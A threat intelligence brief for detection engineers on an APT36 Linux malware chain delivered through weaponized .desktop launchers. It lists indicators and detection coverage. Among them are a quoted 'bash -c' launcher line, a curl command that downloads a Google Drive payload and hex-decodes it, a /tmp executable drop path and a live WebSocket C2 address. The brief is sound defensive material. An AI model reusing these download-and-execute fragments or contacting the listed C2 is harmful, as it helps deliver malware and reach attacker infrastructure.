Cyber Threat Brief — March 7 2026

Focus: Actionable technical intel for detection engineers. Every entry has MITRE-mapped artifacts and concrete detection coverage notes. Sources verified within 24 hours.

1. APT36 (Translucent Werewolf) — Linux .desktop launcher chain (Google Drive payload + WebSocket C2)

Summary

A new YARA rule was published to detect suspected APT36 (Translucent Werewolf) Linux malware delivered via weaponized .desktop launcher files. The detection logic keys on the execution pattern (Exec=bash -c), evidence of Google Drive–hosted payload retrieval, and embedded execution scaffolding consistent with “download → decode → write to /tmp → chmod/execute,” plus a referenced WebSocket C2.

What’s New (Last 24 Hours)

A new YARA signature was released (dated 2026-03-07) with three SHA256 hashes and high-signal string conditions for identifying malicious .desktop files used in this chain.

Actionable Intel

Artifact	Type	ATT&CK Technique	Data Source	How to Use
`.desktop` launcher content containing `Exec=bash -c`	TTP	T1059.004	EDR file telemetry / email attachment scanning / file integrity monitoring	Hunt for `.desktop` files (especially those masquerading as documents) that invoke `bash -c`; prioritize when the same file also contains download/decode strings or unusual embedded icon/base64 blocks
`curl —fail —location —show-error “https://drive.google.com/uc?export=download&id=…“	xxd -r -p`	TTP	T1105	EDR process command-line + proxy logs
Suspicious executable drop path pattern: `/tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-$(date +%s)`	Artifact	T1105	EDR file create events	Retrohunt for executable writes to `/tmp` that use document-like names and timestamp suffixes; correlate to curl/base64/xxd and `.desktop` execution within a short window
`ws://seemysitelive[.]store:8080/ws`	IOC	T1071.001	DNS + proxy/NetFlow	Block/alert on DNS resolution and outbound connections to this domain:port; if you have application-layer telemetry, look for WebSocket handshakes to `/ws`
SHA256 `a82b9aa03503f5c347d8932f509c37ff9872e51b9376c7d314e7bd7e453668fe`	IOC	T1204.002	EDR file hash / YARA scanning	Retroscan endpoint file stores and attachment repositories; if found, pivot to adjacent ZIP/container files and review `.desktop` execution and downstream process/network activity
SHA256 `9943bdf1b2a37434054b14a1a56a8e67aaa6a8b733ca785017d3ed8c1173ac59`	IOC	T1204.002	EDR file hash / YARA scanning	Same as above — treat as a high-confidence seed for scoping (hash → parent container → execution chain → egress)
SHA256 `4c607f5e641810e940c93fef07de3c548773457fddde81bfc3b0d043ec60a6e6`	IOC	T1204.002	EDR file hash / YARA scanning	Same as above; if recovered, inspect the `.desktop` file for embedded icon blocks and download/decode commands to derive additional pivots (Drive IDs, payload names)

Potential Detection Coverage Based on MITRE ATT&CK Technique

Source	Detections	Coverage
Splunk	Linux Ingress Tool Transfer with Curl; Suspicious Curl Network Connection; Cisco Secure Firewall - Wget or Curl Download	These detections can cover the payload retrieval leg of the chain (curl-based download / suspicious curl egress), which is one of the most stable behaviors described by the YARA rule strings. They do not directly detect `.desktop` launcher execution, `xxd -r -p` hex decoding, or the specific C2 domain/path — so you’ll still need telemetry for: (1) `.desktop` file creation/execution and (2) follow-on execution + network correlation.
Elastic	Curl or Wget Egress Network Connection via LoLBin; Potential File Transfer via Curl for Windows	Useful for catching the download/transfer behavior (T1105) when attackers use curl/wget for ingress tool transfer. Like the Splunk results, these rules are largely curl-shaped and won’t key on `.desktop` execution or the specific Drive URL form unless you add additional conditions (e.g., Drive `uc?export=download&id=` substring) and correlate with subsequent `/tmp` writes + exec.
Sigma	Curl Usage on Linux; Suspicious Download and Execute Pattern via Curl/Wget	These can map to the download → execute shape on Linux (curl usage and temp-directory execution patterns). They still require tuning to capture this chain’s distinguishing features: `.desktop` launcher execution (`Exec=bash -c`), hex decoding (`xxd -r -p`), and Google Drive download patterns. Add explicit matchers for Drive `uc?export=download&id=` plus follow-on `chmod +x` and exec from `/tmp` to improve fidelity.

Sources

YARA rule: suspected Translucent Werewolf (APT36) malicious desktop files (day_66.yara) — Published 2026-03-07